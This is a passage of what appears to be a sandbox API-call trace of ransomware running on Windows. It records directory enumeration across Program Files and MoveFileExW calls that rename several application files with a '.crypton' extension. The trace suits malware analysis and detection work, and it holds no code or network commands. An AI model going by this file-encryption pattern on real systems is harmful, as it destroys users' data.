ftLastAccessTime.dwLowDateTime=0xa9c4d280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9c4d280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0074.515] GetFileType (hFile=0x190) returned 0x1 [0074.520] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xa9c733e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9c733e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3f000837, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0074.520] GetFileType (hFile=0x190) returned 0x1 [0074.525] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa9c733e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9c733e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3f000837, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0074.530] GetFileType (hFile=0x190) returned 0x1 [0074.534] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa9c99540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9c99540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3f000837, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0074.541] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa9c99540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9c99540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.743] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx.crypton"), dwFlags=0x2) returned 1 [0075.037] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx.crypton"), dwFlags=0x2) returned 1 [0075.313] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx.crypton"), dwFlags=0x2) returned 1 [0075.968] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx.crypton"), dwFlags=0x2) returned 1 [0075.978] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx.crypton"), dwFlags=0x2) returned 1 [0076.126] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx.crypton"), dwFlags=0x2) returned 1 [0076.248] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx.crypton"), dwFlags=0x2) returned 1 [0076.551] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx.crypton"), dwFlags=0x2) returned 1 [0076.864] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx.crypton"), dwFlags=0x2) returned 1 [0076.871] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xab2c4220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab2c4220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3f000837, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0076.877] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xab2ea380, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab2ea380, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0076.888] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab2ea380, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab2ea380, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0076.891] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.crypton"), dwFlags=0x2) returned 1 [0076.893] GetFileType (hFile=0x190) returned 0x1 [0076.898] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab3104e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab3104e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3f000837, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0076.899] GetFileType (hFile=0x198) returned 0x1 [0076.907] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab336640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab336640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0076.909] GetFileType (hFile=0x190) returned 0x1 [0076.914] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab336640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab336640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3f000837, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0076.914] GetFileType (hFile=0x198) returned 0x1 [0076.919] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab336640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab336640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0076.920] GetFileType (hFile=0x174) returned 0x1 [0076.924] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab35c7a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab35c7a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0076.925] GetFileType (hFile=0x178) returned 0x1 [0076.932] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab35c7a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab35c7a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0077.021] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.crypton"), dwFlags=0x2) returned 1 [0077.022] GetFileType (hFile=0x1f0) returned 0x1 [0077.028] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xab440fe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab440fe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x549750 [0077.029] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0077.029] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0077.029] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0077.030] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0077.030] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0077.031] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0077.031] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0077.032] CloseHandle (hObject=0x190) returned 1 [0077.032] GetFileType (hFile=0x1f0) returned 0x1 [0077.037] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xab467140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab467140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x549750 [0077.038] GetFileType (hFile=0x190) returned 0x1 [0077.042] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xab467140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab467140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0077.043] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.043] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0077.044] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0077.060] GetFileType (hFile=0x1f0) returned 0x1 [0077.065] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\System\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xab4b3400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab4b3400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x549750 [0077.072] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xab4b3400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab4b3400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0077.073] GetFileType (hFile=0x198) returned 0x1 [0077.079] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xab4d9560, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab4d9560, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.080] GetFileType (hFile=0x190) returned 0x1 [0077.086] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xab4d9560, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab4d9560, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0077.092] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xab4ff6c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab4ff6c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0077.099] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xab4ff6c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab4ff6c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.101] GetFileType (hFile=0x190) returned 0x1 [0077.113] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\System\\MSMAPI\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab525820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab525820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0077.113] GetFileType (hFile=0x198) returned 0x1 [0077.119] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab525820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab525820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.125] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xab54b980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab54b980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0077.131] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xab54b980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab54b980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.150] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xab571ae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab571ae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x549790 [0077.151] GetFileType (hFile=0x1f0) returned 0x1 [0077.157] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\en-US\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xab597c40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab597c40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x549750 [0077.163] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xab597c40, ftLastAccessTime.dwHighDateTime=0x1d5c259, 